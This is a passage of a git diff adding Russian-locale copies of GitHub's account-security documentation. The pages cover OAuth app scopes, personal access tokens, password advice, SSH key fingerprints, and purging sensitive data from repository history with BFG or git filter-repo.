%}{% data variables.location.product_location %}{% endif %}, you'll see a page with the app's developer contact information and a list of the specific data that's being requested. + +{% ifversion fpt or ghec %} + +{% tip %} + +**Tip:** You must [verify your email address](/articles/verifying-your-email-address) before you can authorize an {% data variables.product.prodname_oauth_app %}. + +{% endtip %} + +{% endif %} + +## {% data variables.product.prodname_oauth_app %} access + +{% data variables.product.prodname_oauth_apps %} can have *read* or *write* access to your {% data variables.product.product_name %} data. + +- **Read access** only allows an app to *look at* your data. +- **Write access** allows an app to *change* your data. + +{% tip %} + +**Tip:** {% data reusables.user-settings.review_oauth_tokens_tip %} + +{% endtip %} + +### About OAuth scopes + +*Scopes* are named groups of permissions that an {% data variables.product.prodname_oauth_app %} can request to access both public and non-public data. + +When you want to use an {% data variables.product.prodname_oauth_app %} that integrates with {% data variables.product.product_name %}, that app lets you know what type of access to your data will be required. If you grant access to the app, then the app will be able to perform actions on your behalf, such as reading or modifying data. For example, if you want to use an app that requests `user:email` scope, the app will have read-only access to your private email addresses. For more information, see "[About scopes for {% data variables.product.prodname_oauth_apps %}](/apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps)." + +{% tip %} + +**Note:** Currently, you can't scope source code access to read-only. + +{% endtip %} + +{% data reusables.apps.oauth-token-limit %} + +### Types of requested data + +{% data variables.product.prodname_oauth_apps %} can request several types of data. + +| Type of data | Description | +| --- | --- | +| Commit status | You can grant access for an app to report your commit status. Commit status access allows apps to determine if a build is a successful against a specific commit. Apps won't have access to your code, but they can read and write status information against a specific commit. | +| Deployments | Deployment status access allows apps to determine if a deployment is successful against a specific commit for public and private repositories. Apps won't have access to your code. | +| Gists | [Gist](https://gist.github.com) access allows apps to read or write to both your public and secret Gists. | +| Hooks | [Webhooks](/webhooks) access allows apps to read or write hook configurations on repositories you manage. | +| Notifications | Notification access allows apps to read your {% data variables.product.product_name %} notifications, such as comments on issues and pull requests. However, apps remain unable to access anything in your repositories. | +| Organizations and teams | Organization and teams access allows apps to access and manage organization and team membership. | +| Personal user data | User data includes information found in your user profile, like your name, e-mail address, and location. | +| Repositories | Repository information includes the names of contributors, the branches you've created, and the actual files within your repository. Apps can request access for either public or private repositories on a user-wide level. | +| Repository delete | Apps can request to delete repositories that you administer, but they won't have access to your code. |{% ifversion projects-oauth-scope %} +| Projects | Access to user and organization {% data variables.projects.projects_v2 %}. Apps can request either read/write or read only access. |{% endif %} + +## Requesting updated permissions + +When {% data variables.product.prodname_oauth_apps %} request new access permissions, they will notify you of the differences between their current permissions and the new permissions. + +{% ifversion fpt or ghec %} + +## {% data variables.product.prodname_oauth_apps %} and organizations + +When you authorize an {% data variables.product.prodname_oauth_app %} for your personal account, you'll also see how the authorization will affect each organization you're a member of. + +- **For organizations *with* {% data variables.product.prodname_oauth_app %} access restrictions, you can request that organization admins approve the application for use in that organization.** If the organization does not approve the application, then the application will only be able to access the organization's public resources. If you're an organization admin, you can [approve the application](/articles/approving-oauth-apps-for-your-organization) yourself. + +- **For organizations *without* {% data variables.product.prodname_oauth_app %} access restrictions, the application will automatically be authorized for access to that organization's resources.** For this reason, you should be careful about which {% data variables.product.prodname_oauth_apps %} you approve for access to your personal account resources as well as any organization resources. + +If you belong to any organizations that enforce SAML single sign-on, you must have an active SAML session for each organization each time you authorize an {% data variables.product.prodname_oauth_app %}. + +{% note %} + +**Note:** If you are encountering errors authenticating to an organization that enforces SAML single sign-on, you may need to revoke the OAuth App from your [account settings page](https://github.com/settings/applications) and repeat the authentication flow to reauthorize the app. + +{% endnote %} + +## Further reading + +- "[About {% data variables.product.prodname_oauth_app %} access restrictions](/articles/about-oauth-app-access-restrictions)" +- "[Authorizing GitHub Apps](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-github-apps)" +- "[{% data variables.product.prodname_marketplace %} support](/articles/github-marketplace-support)" + +{% endif %} diff --git a/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md new file mode 100644 index 000000000000..18f778b865bd --- /dev/null +++ b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md @@ -0,0 +1,77 @@ +--- +title: Connecting with third-party applications +intro: 'You can connect your {% data variables.product.product_name %} identity to third-party applications using OAuth. When authorizing one of these applications, you should ensure you trust the application, review who it''s developed by, and review the kinds of information the application wants to access.' +redirect_from: + - /articles/connecting-with-third-party-applications + - /github/authenticating-to-github/connecting-with-third-party-applications + - /github/authenticating-to-github/keeping-your-account-and-data-secure/connecting-with-third-party-applications +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Identity + - Access management +shortTitle: Third-party applications +--- +When a third-party application wants to identify you by your {% data variables.product.product_name %} login, you'll see a page with the developer contact information and a list of the specific data that's being requested. + +## Contacting the application developer + +Because an application is developed by a third-party who isn't {% data variables.product.product_name %}, we don't know exactly how an application uses the data it's requesting access to. You can use the developer information at the top of the page to contact the application admin if you have questions or concerns about their application. + +![{% data variables.product.prodname_oauth_app %} owner information](/assets/images/help/platform/oauth_owner_bar.png) + +If the developer has chosen to supply it, the right-hand side of the page provides a detailed description of the application, as well as its associated website. + +![OAuth application information and website](/assets/images/help/platform/oauth_app_info.png) + +## Types of application access and data + +Applications can have *read* or *write* access to your {% data variables.product.product_name %} data. + +- **Read access** only allows an application to *look at* your data. +- **Write access** allows an application to *change* your data. + +### About OAuth scopes + +*Scopes* are named groups of permissions that an application can request to access both public and non-public data. + +When you want to use a third-party application that integrates with {% data variables.product.product_name %}, that application lets you know what type of access to your data will be required. If you grant access to the application, then the application will be able to perform actions on your behalf, such as reading or modifying data. For example, if you want to use an app that requests `user:email` scope, the app will have read-only access to your private email addresses. For more information, see "[About scopes for {% data variables.product.prodname_oauth_apps %}](/apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps)." + +{% tip %} + +**Note:** Currently, you can't scope source code access to read-only. + +{% endtip %} + +### Types of requested data + +There are several types of data that applications can request. + +![OAuth access details](/assets/images/help/platform/oauth_access_types.png) + +{% tip %} + +**Tip:** {% data reusables.user-settings.review_oauth_tokens_tip %} + +{% endtip %} + +| Type of data | Description | +| --- | --- | +| Commit status | You can grant access for a third-party application to report your commit status. Commit status access allows applications to determine if a build is a successful against a specific commit. Applications won't have access to your code, but they can read and write status information against a specific commit. | +| Deployments | Deployment status access allows applications to determine if a deployment is successful against a specific commit for a repository. Applications won't have access to your code. | +| Gists | [Gist](https://gist.github.com) access allows applications to read or write to {% ifversion not ghae %}both your public and{% else %}both your internal and{% endif %} secret Gists. | +| Hooks | [Webhooks](/webhooks) access allows applications to read or write hook configurations on repositories you manage. | +| Notifications | Notification access allows applications to read your {% data variables.product.product_name %} notifications, such as comments on issues and pull requests. However, applications remain unable to access anything in your repositories. | +| Organizations and teams | Organization and teams access allows apps to access and manage organization and team membership. | +| Personal user data | User data includes information found in your user profile, like your name, e-mail address, and location. | +| Repositories | Repository information includes the names of contributors, the branches you've created, and the actual files within your repository. An application can request access to all of your repositories of any visibility level. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." | +| Repository delete | Applications can request to delete repositories that you administer, but they won't have access to your code. | + +## Requesting updated permissions + +Applications can request new access privileges. When asking for updated permissions, the application will notify you of the differences. + +![Changing third-party application access](/assets/images/help/platform/oauth_existing_access_pane.png) diff --git a/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md new file mode 100644 index 000000000000..2a8409c383c5 --- /dev/null +++ b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md @@ -0,0 +1,147 @@ +--- +title: Creating a personal access token +intro: 'You can create a {% data variables.product.pat_generic %} to use in place of a password with the command line or with the API.' +redirect_from: + - /articles/creating-an-oauth-token-for-command-line-use + - /articles/creating-an-access-token-for-command-line-use + - /articles/creating-a-personal-access-token-for-the-command-line + - /github/authenticating-to-github/creating-a-personal-access-token-for-the-command-line + - /github/authenticating-to-github/creating-a-personal-access-token + - /github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token + - /github/extending-github/git-automation-with-oauth-tokens +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Identity + - Access management +shortTitle: 'Create a {% data variables.product.pat_generic %}' +--- + +{% warning %} + +**Warning**: Treat your access tokens like passwords. + +To access {% data variables.product.company_short %} from the command line, consider using {% data variables.product.prodname_cli %} or [Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager/blob/main/README.md) instead of creating a {% data variables.product.pat_generic %}. + +When using a {% data variables.product.pat_generic %} in a script, consider storing your token as a secret and running your script through {% data variables.product.prodname_actions %}. For more information, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."{%- ifversion ghec or fpt %} You can also store your token as a {% data variables.product.prodname_codespaces %} secret and run your script in {% data variables.product.prodname_codespaces %}. For more information, see "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)."{% endif %} + +If these options are not possible, consider using another service such as [the 1Password CLI](https://developer.1password.com/docs/cli/secret-references/) to store your token securely. + +{% endwarning %} + +## About {% data variables.product.pat_generic %}s + +{% data variables.product.pat_generic_caps %} are an alternative to using passwords for authentication to {% data variables.product.product_name %} when using the [GitHub API](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens) or the [command line](#using-a-token-on-the-command-line). {% data variables.product.pat_generic_caps %}s are intended to access {% data variables.product.company_short %} resources on behalf of yourself. To access resources on behalf of an organization, or for long-lived integrations, you should use a {% data variables.product.prodname_github_app %}. For more information, see "[About apps](/developers/apps/getting-started-with-apps/about-apps)." + +{% ifversion pat-v2 %} + +{% data variables.product.company_short %} currently supports two types of {% data variables.product.pat_generic %}s: {% data variables.product.pat_v2 %}s and {% data variables.product.pat_v1_plural %}. {% data variables.product.company_short %} recommends that you use {% data variables.product.pat_v2 %}s instead of {% data variables.product.pat_v1_plural %} whenever possible. {% data variables.product.pat_v2_caps %}s have several security advantages over {% data variables.product.pat_v1_plural %}: + +- Each token can only access resources owned by a single user or organization. +- Each token can only access specific repositories. +- Each token is granted specific permissions, which offer more control than the scopes granted to {% data variables.product.pat_v1_plural %}. +- Each token must have an expiration date. +- Organization owners can require approval for any {% data variables.product.pat_v2 %}s that can access resources in the organization.{% ifversion ghec or ghes or ghae %} +- Enterprise owners can require approval for any {% data variables.product.pat_v2 %}s that can access resources in organizations owned by the enterprise.{% endif %} + +Additionally, organization owners can restrict the access of {% data variables.product.pat_v1 %} to their organization{% ifversion ghec or ghes or ghae %}, and enterprise owners can restrict the access of {% data variables.product.pat_v1 %} to the enterprise or organizations owned by the enterprise{% endif %}. + +{% data reusables.user-settings.patv2-limitations %} + +{% endif %} + +{% ifversion fpt or ghec %}{% data reusables.user-settings.removes-personal-access-tokens %}{% endif %} + +{% ifversion pat-v2 %} + +## Creating a {% data variables.product.pat_v2 %} + +{% note %} + +**Note**: {% data reusables.user-settings.pat-v2-beta %} + +{% endnote %} + +{% ifversion fpt or ghec %}1. [Verify your email address](/github/getting-started-with-github/verifying-your-email-address), if it hasn't been verified yet.{% endif %} +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.developer_settings %} +1. In the left sidebar, under **{% octicon "key" aria-label="The key icon" %} {% data variables.product.pat_generic_caps %}s**, click **Fine-grained tokens**. +1. Click **Generate new token**. +1. Optionally, under **Token name**, enter a name for the token. +1. Under **Expiration**, select an expiration for the token. +1. Optionally, under **Description**, add a note to describe the purpose of the token. +1. Under **Resource owner**, select a resource owner. The token will only be able to access resources owned by the selected resource owner. Organizations that you are a member of will not appear unless the organization opted in to {% data variables.product.pat_v2 %}s. For more information, see "[Setting a {% data variables.product.pat_generic %} policy for your organization](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization)."{% ifversion ghec or ghae %} You may be required to perform SAML single sign-on (SSO) if the selected organization requires it and you do not already have an active SAML session.{% endif %} +1. Optionally, if the resource owner is an organization that requires approval for {% data variables.product.pat_v2 %}s, below the resource owner, in the box, enter a justification for the request. +1. Under **Repository access**, select which repositories you want the token to access. You should choose the minimal repository access that meets your needs. Tokens always include read-only access to all public repositories on GitHub. +1. If you selected **Only select repositories** in the previous step, under the **Selected repositories** dropdown, select the repositories that you want the token to access. +1. Under **Permissions**, select which permissions to grant the token. Depending on which resource owner and which repository access you specified, there are repository, organization, and account permissions. You should choose the minimal permissions necessary for your needs. For more information about what permissions are required for each REST API operation, see "[Permissions required for {% data variables.product.pat_v2 %}s](/rest/overview/permissions-required-for-fine-grained-personal-access-tokens)." +1. Click **Generate token**. + +If you selected an organization as the resource owner and the organization requires approval for {% data variables.product.pat_v2 %}s, then your token will be marked as `pending` until it is reviewed by an organization administrator. Your token will only be able to read public resources until it is approved. If you are an owner of the organization, your request is automatically approved. For more information, see "[Reviewing and revoking {% data variables.product.pat_generic %}s in your organization](/organizations/managing-programmatic-access-to-your-organization/reviewing-and-revoking-personal-access-tokens-in-your-organization)". + +{% endif %} + +## Creating a {% data variables.product.pat_v1 %} + +{% ifversion pat-v2 %} + +{% note %} + +**Note**: Organization owners can restrict the access of {% data variables.product.pat_v1 %} to their organization. If you try to use a {% data variables.product.pat_v1 %} to access resources in an organization that has disabled {% data variables.product.pat_v1 %} access, your request will fail with a 403 response. Instead, you must use a {% data variables.product.prodname_github_app %}, {% data variables.product.prodname_oauth_app %}, or {% data variables.product.pat_v2 %}. + +{% endnote %} + +{% endif %} + +{% ifversion pat-v2 %} + +{% warning %} + +**Note**: Your {% data variables.product.pat_v1 %} can access every repository that you can access. {% data variables.product.company_short %} recommends that you use {% data variables.product.pat_v2 %}s instead, which you can restrict to specific repositories. {% data variables.product.pat_v2_caps %}s also enable you to specify fine-grained permissions instead of broad scopes. + +{% endwarning %} + +{% endif %} + +{% ifversion fpt or ghec %}1. [Verify your email address](/github/getting-started-with-github/verifying-your-email-address), if it hasn't been verified yet.{% endif %} +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.developer_settings %} +{% ifversion pat-v2 %}1. In the left sidebar, under **{% octicon "key" aria-label="The key icon" %} {% data variables.product.pat_generic_caps %}s**, click **Tokens (classic)**.{% else %}{% data reusables.user-settings.personal_access_tokens %}{% endif %} +{% ifversion pat-v2%}1. Select **Generate new token**, then click **Generate new token (classic)**.{% else %}{% data reusables.user-settings.generate_new_token %}{% endif %} +5. Give your token a descriptive name. + ![Token description field](/assets/images/help/settings/token_description.png) +6. To give your token an expiration, select the **Expiration** drop-down menu, then click a default or use the calendar picker. + ![Token expiration field](/assets/images/help/settings/token_expiration.png) +7. Select the scopes you'd like to grant this token. To use your token to access repositories from the command line, select **repo**. A token with no assigned scopes can only access public information. For more information, see "[Available scopes](/apps/building-oauth-apps/scopes-for-oauth-apps#available-scopes)". + {% ifversion fpt or ghes or ghec %} + ![Selecting token scopes](/assets/images/help/settings/token_scopes.gif) + {% elsif ghae %} + ![Selecting token scopes](/assets/images/enterprise/github-ae/settings/access-token-scopes-for-ghae.png) + {% endif %} +8. Click **Generate token**. + ![Generate token button](/assets/images/help/settings/generate_token.png) + {% ifversion fpt or ghec %} + ![Newly created token](/assets/images/help/settings/personal_access_tokens.png) + {% elsif ghes or ghae %} + ![Newly created token](/assets/images/help/settings/personal_access_tokens_ghe.png) + {% else %} + ![Newly created token](/assets/images/help/settings/personal_access_tokens_ghe_legacy.png){% endif %}{% ifversion fpt or ghec %} +1. To use your token to access resources owned by an organization that uses SAML single sign-on, authorize the token. For more information, see "[Authorizing a {% data variables.product.pat_generic %} for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %} + +## Using a token on the command line + +{% data reusables.command_line.providing-token-as-password %} + +{% data variables.product.pat_generic_caps %}s can only be used for HTTPS Git operations. If your repository uses an SSH remote URL, you will need to [switch the remote from SSH to HTTPS](/github/getting-started-with-github/managing-remote-repositories/#switching-remote-urls-from-ssh-to-https). + +If you are not prompted for your username and password, your credentials may be cached on your computer. You can [update your credentials in the Keychain](/github/getting-started-with-github/updating-credentials-from-the-macos-keychain) to replace your old password with the token. + +Instead of manually entering your {% data variables.product.pat_generic %} for every HTTPS Git operation, you can cache your {% data variables.product.pat_generic %} with a Git client. Git will temporarily store your credentials in memory until an expiry interval has passed. You can also store the token in a plain text file that Git can read before every request. For more information, see "[Caching your {% data variables.product.prodname_dotcom %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git)." + +## Further reading + +- "[About authentication to GitHub](/github/authenticating-to-github/about-authentication-to-github)" +- "[Token expiration and revocation](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation)" diff --git a/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md new file mode 100644 index 000000000000..758beda31121 --- /dev/null +++ b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md @@ -0,0 +1,38 @@ +--- +title: Creating a strong password +intro: 'Secure your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} with a strong and unique password using a password manager.' +redirect_from: + - /articles/what-is-a-strong-password + - /articles/creating-a-strong-password + - /github/authenticating-to-github/creating-a-strong-password + - /github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-strong-password +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - Identity + - Access management +shortTitle: Create a strong password +--- +You must choose or generate a password for your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} that is at least: +- {% ifversion ghes %}Seven{% else %}Eight{% endif %} characters long, if it includes a number and a lowercase letter, or +- 15 characters long with any combination of characters + +To keep your account secure, we recommend you follow these best practices: +- Use a password manager, such as [LastPass](https://lastpass.com/) or [1Password](https://1password.com/), to generate a password of at least 15 characters. +- Generate a unique password for {% data variables.product.product_name %}. If you use your {% data variables.product.product_name %} password elsewhere and that service is compromised, then attackers or other malicious actors could use that information to access your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. + +- Configure two-factor authentication for your personal account. For more information, see "[About two-factor authentication](/articles/about-two-factor-authentication)." +- Never share your password, even with a potential collaborator. Each person should use their own personal account on {% data variables.product.product_name %}. For more information on ways to collaborate, see: "[Inviting collaborators to a personal repository](/articles/inviting-collaborators-to-a-personal-repository)," "[About collaborative development models](/articles/about-collaborative-development-models/)," or "[Collaborating with groups in organizations](/organizations/collaborating-with-groups-in-organizations/)." + +{% data reusables.repositories.blocked-passwords %} + +You can only use your password to log on to {% data variables.product.product_name %} using your browser. When you authenticate to {% data variables.product.product_name %} with other means, such as the command line or API, you should use other credentials. For more information, see "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)." + +{% ifversion fpt or ghec %}{% data reusables.user-settings.password-authentication-deprecation %}{% endif %} + +## Further reading + +- "[Caching your {% data variables.product.product_name %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git/)" +- "[Keeping your account and data secure](/articles/keeping-your-account-and-data-secure/)" diff --git a/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md new file mode 100644 index 000000000000..5b18d8be7a7d --- /dev/null +++ b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md @@ -0,0 +1,30 @@ +--- +title: Отпечатки ключей SSH на GitHub +intro: Отпечатки открытых ключей можно использовать для проверки подключения к удаленному серверу. +redirect_from: + - /articles/what-are-github-s-ssh-key-fingerprints + - /articles/github-s-ssh-key-fingerprints + - /articles/githubs-ssh-key-fingerprints + - /github/authenticating-to-github/githubs-ssh-key-fingerprints + - /github/authenticating-to-github/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints +versions: + fpt: '*' + ghec: '*' +topics: + - Identity + - Access management +shortTitle: SSH key fingerprints +ms.openlocfilehash: b17285e62daf1f71c603e004a5bb00b786e3038a +ms.sourcegitcommit: 605b619588c51336f3ffe9d13c68503ae45cbfc6 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/07/2022 +ms.locfileid: '148013841' +--- +Отпечатки открытого ключа {% data variables.product.prodname_dotcom %}: + +- `SHA256:nThbg6kXUpJWGl7E1IGOCspRomTxdCARLviKw6E5SY8` (RSA) +- `SHA256:p2QAMXNIC1TJYWeIOttrVc98/R1BUFWu3/LiyKgUfQM` (ECDSA) +- `SHA256:+DiY3wvvV6TuJJhbpZisF/zLDA0zPMSvHdkr4UvCOqU` (Ed25519) + +Дополнительные сведения см. в разделе ["Получение метаданных](/rest/meta#get-github-meta-information)". diff --git a/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/index.md b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/index.md new file mode 100644 index 000000000000..df272c71f4e2 --- /dev/null +++ b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/index.md @@ -0,0 +1,44 @@ +--- +title: Обеспечение безопасности учетной записи и данных +intro: 'Для защиты персональных данных необходимо сохранить учетную запись в {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} и все связанные с ней данные.' +redirect_from: + - /articles/keeping-your-account-and-data-secure + - /github/authenticating-to-github/keeping-your-account-and-data-secure +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Identity + - Access management +children: + - /about-authentication-to-github + - /creating-a-strong-password + - /updating-your-github-access-credentials + - /creating-a-personal-access-token + - /reviewing-your-ssh-keys + - /reviewing-your-deploy-keys + - /authorizing-oauth-apps + - /authorizing-github-apps + - /reviewing-your-authorized-integrations + - /connecting-with-third-party-applications + - /reviewing-your-authorized-applications-oauth + - /token-expiration-and-revocation + - /reviewing-your-security-log + - /removing-sensitive-data-from-a-repository + - /about-anonymized-urls + - /about-githubs-ip-addresses + - /githubs-ssh-key-fingerprints + - /sudo-mode + - /preventing-unauthorized-access + - /viewing-and-managing-your-sessions +shortTitle: Account security +ms.openlocfilehash: ba88c5fcde2e1dcdcf7186c4e5d83bf854f9ff00 +ms.sourcegitcommit: b2e5d14036a700b781e91158a552f8c0b1f04839 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/15/2022 +ms.locfileid: '148165549' +--- + diff --git a/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/preventing-unauthorized-access.md b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/preventing-unauthorized-access.md new file mode 100644 index 000000000000..a0bcd546ee51 --- /dev/null +++ b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/preventing-unauthorized-access.md @@ -0,0 +1,30 @@ +--- +title: Preventing unauthorized access +intro: 'You may be alerted to a security incident in the media, such as the discovery of the [Heartbleed bug](http://heartbleed.com/), or your computer could be stolen while you''re signed in to {% data variables.location.product_location %}. In such cases, changing your password prevents any unintended future access to your account and projects.' +redirect_from: + - /articles/preventing-unauthorized-access + - /github/authenticating-to-github/preventing-unauthorized-access + - /github/authenticating-to-github/keeping-your-account-and-data-secure/preventing-unauthorized-access +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - Identity + - Access management +shortTitle: Unauthorized access +--- +{% data variables.product.product_name %} requires a password to perform sensitive actions, such as adding new SSH keys, authorizing applications, or modifying team members. + +After changing your password, you should perform these actions to make sure that your account is secure: + +- [Enable two-factor authentication](/articles/about-two-factor-authentication) on your account so that access requires more than just a password. +- [Review your SSH keys](/articles/reviewing-your-ssh-keys), [deploy keys](/articles/reviewing-your-deploy-keys), and [authorized integrations](/articles/reviewing-your-authorized-integrations) and revoke unauthorized or unfamiliar access in your SSH and Applications settings. +{% ifversion fpt or ghec %} +- [Verify all your email addresses](/articles/verifying-your-email-address). If an attacker added their email address to your account, it could allow them to force an unintended password reset. +{% endif %} +- [Review your account's security log](/github/authenticating-to-github/reviewing-your-security-log). This provides an overview on various configurations made to your repositories. For example, you can ensure that no private repositories were turned public, or that no repositories were transferred. +- [Review the webhooks](/articles/creating-webhooks) on your repositories. Webhooks could allow an attacker to intercept pushes made to your repository. +- [Make sure that no new deploy keys](/guides/managing-deploy-keys/#deploy-keys) were created. This could enable outside servers access to your projects. +- Review recent commits made to your repositories. +- Review the list of collaborators for each repository. diff --git a/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md new file mode 100644 index 000000000000..1f4dc55b3f60 --- /dev/null +++ b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md @@ -0,0 +1,192 @@ +--- +title: Removing sensitive data from a repository +intro: 'If you commit sensitive data, such as a password or SSH key into a Git repository, you can remove it from the history. To entirely remove unwanted files from a repository''s history you can use either the `git filter-repo` tool or the BFG Repo-Cleaner open source tool.' +redirect_from: + - /remove-sensitive-data + - /removing-sensitive-data + - /articles/remove-sensitive-data + - /articles/removing-sensitive-data-from-a-repository + - /github/authenticating-to-github/removing-sensitive-data-from-a-repository + - /github/authenticating-to-github/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Identity + - Access management +shortTitle: Remove sensitive data +--- +The `git filter-repo` tool and the BFG Repo-Cleaner rewrite your repository's history, which changes the SHAs for existing commits that you alter and any dependent commits. Changed commit SHAs may affect open pull requests in your repository. We recommend merging or closing all open pull requests before removing files from your repository. + +You can remove the file from the latest commit with `git rm`. For information on removing a file that was added with the latest commit, see "[About large files on {% data variables.product.prodname_dotcom %}](/repositories/working-with-files/managing-large-files/about-large-files-on-github#removing-files-from-a-repositorys-history)." + +{% warning %} + +**Warning**: This article tells you how to make commits with sensitive data unreachable from any branches or tags in your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. However, those commits may still be accessible in any clones or forks of your repository, directly via their SHA-1 hashes in cached views on {% data variables.product.product_name %}, and through any pull requests that reference them. You cannot remove sensitive data from other users' clones of your repository, but you can permanently remove cached views and references to the sensitive data in pull requests on {% data variables.product.product_name %} by contacting {% data variables.contact.contact_support %}. + +If the commit that introduced the sensitive data exists in any forks of your repository, it will continue to be accessible, unless the fork owner removes the sensitive data from their fork or deletes the fork entirely. + +Once you have pushed a commit to {% data variables.product.product_name %}, you should consider any sensitive data in the commit compromised. If you have committed a password, you should change it. If you have committed a key, generate a new one. Removing the compromised data doesn't resolve its initial exposure, especially in existing clones or forks of your repository. + +Consider these limitations in your decision to rewrite your repository's history. + +{% endwarning %} + +## Purging a file from your repository's history + +You can purge a file from your repository's history using either the `git filter-repo` tool or the BFG Repo-Cleaner open source tool. + +### Using the BFG + +The [BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/) is a tool that's built and maintained by the open source community. It provides a faster, simpler alternative to `git filter-branch` for removing unwanted data. + +For example, to remove your file with sensitive data and leave your latest commit untouched, run: + +```shell +$ bfg --delete-files YOUR-FILE-WITH-SENSITIVE-DATA +``` + +To replace all text listed in `passwords.txt` wherever it can be found in your repository's history, run: + +```shell +$ bfg --replace-text passwords.txt +``` + +After the sensitive data is removed, you must force push your changes to {% data variables.product.product_name %}. Force pushing rewrites the repository history, which removes sensitive data from the commit history. If you force push, it may overwrite commits that other people have based their work on. + +```shell +$ git push --force +``` + +See the [BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/)'s documentation for full usage and download instructions. + +### Using git filter-repo + +{% warning %} + +**Warning:** If you run `git filter-repo` after stashing changes, you won't be able to retrieve your changes with other stash commands. Before running `git filter-repo`, we recommend unstashing any changes you've made. To unstash the last set of changes you've stashed, run `git stash show -p | git apply -R`. For more information, see [Git Tools - Stashing and Cleaning](https://git-scm.com/book/en/v2/Git-Tools-Stashing-and-Cleaning). + +{% endwarning %} + +To illustrate how `git filter-repo` works, we'll show you how to remove your file with sensitive data from the history of your repository and add it to `.gitignore` to ensure that it is not accidentally re-committed. + +1. Install the latest release of the [git filter-repo](https://github.com/newren/git-filter-repo) tool. You can install `git-filter-repo` manually or by using a package manager. For example, to install the tool with HomeBrew, use the `brew install` command. + ``` + brew install git-filter-repo + ``` + For more information, see [*INSTALL.md*](https://github.com/newren/git-filter-repo/blob/main/INSTALL.md) in the `newren/git-filter-repo` repository. + +2. If you don't already have a local copy of your repository with sensitive data in its history, [clone the repository](/articles/cloning-a-repository/) to your local computer. + ```shell + $ git clone https://{% data variables.command_line.codeblock %}/YOUR-USERNAME/YOUR-REPOSITORY + > Initialized empty Git repository in /Users/YOUR-FILE-PATH/YOUR-REPOSITORY/.git/ + > remote: Counting objects: 1301, done. + > remote: Compressing objects: 100% (769/769), done. + > remote: Total 1301 (delta 724), reused 910 (delta 522) + > Receiving objects: 100% (1301/1301), 164.39 KiB, done. + > Resolving deltas: 100% (724/724), done. + ``` +3. Navigate into the repository's working directory. + ```shell + $ cd YOUR-REPOSITORY + ``` +4. Run the following command, replacing `PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA` with the **path to the file you want to remove, not just its filename**. These arguments will: 